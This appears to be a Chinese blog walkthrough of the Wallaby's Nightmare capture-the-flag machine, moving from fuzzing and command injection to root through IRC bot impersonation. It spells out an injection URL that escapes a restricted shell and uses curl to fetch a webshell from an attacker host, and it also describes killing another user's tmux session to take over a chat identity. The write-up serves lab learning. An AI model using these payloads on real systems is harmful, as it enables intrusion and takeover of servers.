Post

Wallaby's Nightmare Walkthrough

fuzz -> command injection打点,irssi聊天室机器人提权

Wallaby's Nightmare Walkthrough

Recon

这台机器开放标准端口的ssh、web

image-20250926135125868

web

开局一个输入框,要求输入一个username

image-20250926135334099

输入admin,下方有一些提示主要告知多尝试fuzz,以及注意tmux和environment

image-20250926135405181

点击Start the CTF!后跳转到了如下页面

image-20250926135735261

对参数一番fuzz,发现无法访问80端口了

重新扫描,发现新增了60080/tcp

image-20250926140225453

访问后是一个静态页面,其中描述了这个端口是迁移过来的

image-20250926140542776

使用nikto扫描,发现存在文件包含

image-20250926140704598

测试小记

  • ../../../../../../../etc/passwd 返回/etc/passwd内容
  • php://php://filter/convert.base64-encode/resource=/etc/passwd也返回/etc/passwd内容 而不是base64
  • fuzz测试包含任意其它路径都返回Nice try admin buddy, this vector is patched!

说明这个位置不是真实的LFI,还有测试其他漏洞的余地

image-20250926164318909

单双引号测试,单引号发现内容返回空白,源代码中发现了有意思的内容

1
2
3
4
5
6
7
8
9
10
11
<script>window.RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;   //compatibility for firefox and chrome
    var pc = new RTCPeerConnection({iceServers:[]}), noop = function(){};
    pc.createDataChannel("");    //create a bogus data channel
    pc.createOffer(pc.setLocalDescription.bind(pc), noop);    // create offer and set local description
    pc.onicecandidate = function(ice){  //listen for candidate events
        if(!ice || !ice.candidate || !ice.candidate.candidate)  return;
        var myIP = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1];
        alert('Your ip is ' + myIP + ', consider it blacklisted for a bit :D.');
        post('/?page=blacklist', {bl: myIP});
        pc.onicecandidate = noop;
    };</script>

这是一个webRTC实现,用于收集客户端IP地址,并发送到服务器

其中发现了/?page=blacklist,尝试访问,测试一番无果

image-20250926165346163

进一步fuzz page参数,发现mailer

image-20250926175332037

访问?page=mailer后查看源代码,其中包含了一个路径,访问返回Coming Soon guys!

image-20250926175402143

尝试fuzz mail参数,发现能执行一些命令

image-20250926175703223

bypass a limit www-data shell

试图绕过这个受限shell,使用find命令执行

image-20250926175749197小马拉大马,先用find逃逸lshell执行curl落地小马

http://192.168.2.122:60080/?page=mailer&mail=find%20.%20-exec%20curl%20http://192.168.2.100:8000/muma.php%20%3El.php\;

image-20250926183336489

可以使用shell管理工具上传reverse.php,也可以直接curl落地反弹

image-20250926183601452

shell as waldo by sudo-vim

例行检查,发现能以waldo权限执行vim /etc/apache2/sites-available/000-default.conf

那么提权即可

image-20250927115138008

发现/home/waldo/irssi.sh,其中使用tmux创建了irssi会话

image-20250927115403817

tmux attach查看,这是一个使用IRC协议的客户端irssi,本质上是一个古老的命令行聊天室,使用tcp/6667端口

image-20250927115339021

但是前期nmap扫描显示tcp/6667端口状态是filtered

www-data执行sudo -l会看到能以root权限执行iptables,那么使用sudo iptables -D INPUT 2手动清除这条规则

image-20250927115806087

再次扫描验证6667端口已开放

image-20250927120035803

shell as root by irssi

kali中apt install irssi安装客户端,使用irssi -c 192.168.2.122连接聊天室

image-20250927120336327

使用/list列出聊天室,得到#wallabyschat,使用/join #wallabyschat加入聊天室

在这个聊天室看到存在waldo和wallabysbot

image-20250927195330863

/leave离开聊天室,执行/whois wallabysbot,能发现他是一个Bot,它基于Sopel

image-20250927200011838

来到/hoe/wallaby/.sopel/modules/目录,查看run.py,它作为一个模块被使用,其中定义了run函数用于执行命令

image-20250927202158914

尝试在聊天室中执行,发现回显Hold on, you aren't Waldo?

没有权限执行,因为连接到聊天室的身份不是Waldo

image-20250927202323901

现在需要想办法获得waldo的聊天室身份,在上文中已经知道waldo用户使用tmux创建了连接到聊天室的会话

ps -ef|grep tmux得到tmux pid,然后kill掉进程,让waldo聊天室身份断线

image-20250927203035963

image-20250927203449119

此时使用/nick Waldo接管身份,尝试执行命令发现执行成功

image-20250927203547343

反弹shell得到wallaby用户权限

image-20250927203724170

存在于/etc/sudoers中,可以直接sudo su完成提权

image-20250927203831180

This post is licensed under CC BY 4.0 by the author.